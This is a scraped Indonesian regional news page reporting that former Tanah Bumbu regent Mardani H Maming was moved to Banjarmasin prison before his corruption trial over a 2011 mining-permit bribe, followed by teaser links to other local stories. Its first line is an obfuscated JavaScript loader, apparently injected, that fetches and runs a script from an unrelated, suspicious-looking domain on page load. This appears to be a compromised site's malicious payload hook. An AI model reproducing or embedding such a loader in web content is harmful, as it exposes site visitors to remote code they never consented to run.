(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Penahanan mantan Bupati Tanah Bumbu, Mardani H Maming, dipindah ke Lembaga Pemasyarakatan (Lapas) Banjarmasin seiring rencana agenda persidangan terhadap dirinya sebagai terdakwa dugaan tindak pidana korupsi yang dilangsungkan di Pengadilan Tipikor Banjarmasin, Kalimantan Selatan.
“Pemindahan tempat penahanan untuk mempermudah pemeriksaan terdakwa dalam persidangan,” kata Juru Bicara Pengadilan Negeri Banjarmasin, Aris Bawono Langgeng, Jumat (4/11/2022).
Mengacu pada data di Sistem Informasi Penelusuran Perkara (SIPP) Pengadilan Negeri Banjarmasin, Mardani masih ditahan di Rutan KPK Polisi Militer Kodam Jaya di Guntur, DKI Jakarta.
Ia sudah ditahan oleh Komisi Pemberantasan Korupsi (KPK) sejak Kamis (28/7/2022), pasca diperiksa sebagai tersangka di Gedung Merah Putih Jakarta.
Baca juga: Jaringan Utilitas Fiber Optik Bikin Wajah Banjarbaru Semerawut, Tiang Terpasang Tapi Tak Berizin
Terkait teknis persidangan yang dijadwalkan perdana digelar Kamis (10/11/2022) pekan depan, Aris menyebut belum dipastikan pula apakah terdakwa dihadirkan secara langsung di ruang sidang atau secara daring mengikuti dari Lapas.
“Nantinya mempertimbangkan sejumlah faktor khususnya keamanan termasuk apakah ada permintaan dari penasihat hukum atau juga pihak Lapas,” jelas dia.
Mardani Maming diadili setelah diduga menerima suap pengalihan izin usaha pertambangan (IUP) di Kabupaten Tanah Bumbu pada 2011 ketika ia masih menjabat sebagai bupati.
Jaksa penuntut umum KPK mencantumkan sejumlah pasal yang dimuat dalam dua dakwaan alternatif.
Pertama yakni Pasal 12 huruf b Jo. Pasal 18 Undang-Undang (UU) Republik Indonesia Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Perubahan atas UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.
Baca juga: Bendungan Kusan Digadang Mampu Meningkatan Produksi Padi di Tanbu
Lalu pada dakwaan alternatif kedua Pasal 11 Jo. Pasal 18 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Perubahan atas UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
This website uses cookies.